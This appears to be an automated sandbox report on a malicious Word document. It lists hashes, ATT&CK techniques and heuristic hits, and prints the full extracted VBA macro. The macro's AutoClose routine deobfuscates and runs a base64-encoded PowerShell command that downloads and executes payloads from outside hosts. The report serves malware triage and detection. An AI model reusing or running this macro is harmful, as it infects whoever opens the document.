Office (OOXML) malware analysis — malicious · ca9d11fb8b391944

MALICIOUS

Office (OOXML)

66.0 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-11-20

MD5: d16db9fc78598014d0dda258c84377e4 SHA-1: 38149c57f239b678c4a1ab44cda8639db576c7dc SHA-256: ca9d11fb8b3919443e066d8e91587c34191c3b273a0f884c48084df77263de55

292 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoClose function that utilizes WScript.Shell to create a COM object and download a file. The script attempts to download a second-stage payload from the URL 'http://torskitnasadnewpp.com/a.exe', which is then likely executed. The ClamAV detection 'Doc.Downloader.Powload-6707242-0' further supports this behavior.

Heuristics 8

ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage

Matched line in script

     If signore - gypaetus > 1 Then
       CreateObject("WScript.Shell").Run line, 0
       smuttiest = False

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

     If signore - gypaetus > 1 Then
       CreateObject("WScript.Shell").Run line, 0
       smuttiest = False

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro

Matched line in script

Sub AutoClose()
  deplete = Array("x", "2", "E", "h", "Q", "F", "D", "l", "x", "z", "s", "l", "z", "4", "g", "E", "g", "O", "g", "D", "g", "5", "g", "Q", "g", "i", "g", "D", "g", "G", "g", "G", "g", "Z", "g", "D", "g", "j", "g", "D", "g", "z", "7", "U", "E", "H", "j", "Y", "P", "z", "7", "H", "j", "D", "l", "z", "v", "I", "F", "1", "u", "u", "z", "7", "H", "2", "z")

Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	3039 bytes
SHA-256: `58d59d2c53e6834f29cc6cb68f2af1cb9eae9d688c3eba8b3a7086aafd6b00e9`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Function engraftments(deplete) sperms = Array("g", "h", "2", "1", "U", "E", "P", "x", "v", "H", "F", "O", "Q", "D", "5", "u", "Y", "i", "G", "Z", "j", "z", "I", "l", "4", "s", "7") mellimide = Array("^", "m", "C", "a", "N", "o", "t", "%", "B", "E", "p", "w", "S", "e", "r", "s", "i", "h", "l", ".", "x", " ", "y", "c", "P", "/", "-") veratridine = vbNullString For Each astatizer In deplete brood = callophis(astatizer, sperms, UBound(sperms)) If brood > -1 Then veratridine = mellimide(brood) & veratridine End If Next engraftments = StrReverse(veratridine) End Function Public Function callophis(theat, crestfallenly, chondroseptum) heterosuggestion = 0 ruffer = -1 For heterosuggestion = 0 To chondroseptum If crestfallenly(heterosuggestion) = theat Then ruffer = heterosuggestion End If Next callophis = ruffer End Function Sub AutoClose() deplete = Array("x", "2", "E", "h", "Q", "F", "D", "l", "x", "z", "s", "l", "z", "4", "g", "E", "g", "O", "g", "D", "g", "5", "g", "Q", "g", "i", "g", "D", "g", "G", "g", "G", "g", "Z", "g", "D", "g", "j", "g", "D", "g", "z", "7", "U", "E", "H", "j", "Y", "P", "z", "7", "H", "j", "D", "l", "z", "v", "I", "F", "1", "u", "u", "z", "7", "H", "2", "z") opsiometer = "IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAHQAbwByAHMAawBpAHQAbgBhAHMAZABuAGUAdwBwAHAAcABvAGEAbgB5AC4AYwBvAG0ALwBTAFMALwBnAGUAcwBoAC4AdAB6AG0AJwAsACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAIAArACAAJwBcADEAOAAxADgAOQA0ADAANgA1ADMALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwAMQA4ADEAOAA5ADQAMAA2ADUAMwAuAGUAeABlACcAOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHQAbwByAHMAawBpAHQAbgBhAHMAZABuAGUAdwBwAHAAcABvAGEAbgB5AC4AYwBvAG0ALwBzAC4AcABoAHAAPwBpAGQAPQBnAGUAcwBoACcAKQA7AEkARQBYACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZwBpAGQAcgBvAGwAbwBnAGkAawBhAC4AcgB1AC8AUwB0AGEAdAAuAGMAbwB1AG4AdAAnACkAKQA7AA==" dictyotaceous = engraftments(deplete) Application.Run "tormentors", dictyotaceous + opsiometer End Sub Private Sub tormentors(line) gypaetus = DateDiff("s", #1/1/1970#, Now()) smuttiest = True While smuttiest signore = DateDiff("s", #1/1/1970#, Now()) If signore - gypaetus > 1 Then CreateObject("WScript.Shell").Run line, 0 smuttiest = False End If Wend End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	13312 bytes
SHA-256: `816f30f2d1843aca3c80937313d0e84438d7fe27e4e5002f529bfbb89fb3701a`
Detection ClamAV: Doc.Downloader.Powload-6707242-0 Obfuscation or payload: likely Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.